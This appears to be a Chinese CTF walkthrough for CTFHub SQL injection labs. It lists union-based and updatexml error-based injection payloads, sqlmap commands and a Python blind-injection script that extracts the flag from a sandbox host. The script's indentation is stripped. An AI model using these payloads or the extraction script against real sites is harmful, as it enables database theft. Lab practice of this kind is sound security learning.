随便输入一个1,很明显这里已经给出了字段,不需要再order by了
1.数据库名和版本。这里发现是高版本,有information_schema
数据库
-1 union select version(),database()
-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema='sqli'
3.查flag下的字段名
-1 union select 1, group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'#
-1 union select 1, group_concat(flag) from flag
基本跟上面差不多
查表名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#
查字段名
-1' union select 1,group_concat(column_name)from information_schema.columns where table_schema='sqli' and table_name='flag'#
查数据
-1' union select 1,group_concat(flag) from sqli.flag#
ps:报错注入涉及到几个函数,建议去查一下,这里我不做讲解
查数据库
-1 union select updatexml(1, concat(0x7e, database(),0x7e),1)
-1 union select updatexml(1, concat(0x7e,( select( group_concat( table_name))from information_schema.tables where table_schema="sqli"),0x7e),1)
查字段
-1 union select updatexml(1, concat(0x7e,( select( group_concat(column_name))from information_schema.columns where table_schema='sqli' and table_name='flag'),0x7e),1)
查数据
-1 union select updatexml(1, concat(0x7e,( select( group_concat(flag)) from sqli.flag),0x7e),1)
注入点是id
python sqlmap.py -u url --current-db --level 5 #爆数据库名
python sqlmap.py -u url -D sqli --tables #爆表
python sqlmap.py -u url -D sqli -T flag --dump level 5 #爆字段
如果不用sqlmap 这里加一个写好的脚本,可以直接跑。跑完大概两分钟吧。
# -*- coding = utf-8 -*-
# @Time : 2022/1/29 19:03
# @Author : WXY
# @File : mangzhu.py
# @SoftWare : PyCharm
import requests
urlOPEN = 'http://challenge-4304e13cfa256d00.sandbox.ctfhub.com:10800/?id='
starOperatorTime = []
mark = 'query_success'
def database_name():
name = ''
for j in range(1, 9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
j, i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name + i
print(name)
break
print('database_name:', name)
database_name()
def table_name():
list = []
for k in range(0, 4):
name = ''
for j in range(1, 9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
k, j, i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name + i
break
list.append(name)
print('table_name:', list)
table_name()
def column_name():
list = []
for k in range(0, 3): # 判断表里最多有4个字段
name = ''
for j in range(1, 9): # 判断一个 字段名最多有9个字符组成
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
k, j, i)
r = requests.get(url)
if mark in r.text:
name = name + i
break
list.append(name)
print('column_name:', list)
column_name()
def get_data():
name = ''
for j in range(1, 50): # 判断一个值最多有51个字符组成
for i in range(48, 126):
url = urlOPEN + 'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' % (
j, i)
r = requests.get(url)
if mark in r.text:
name = name + chr(i)
print(name)
break
print('value:', name)
get_data()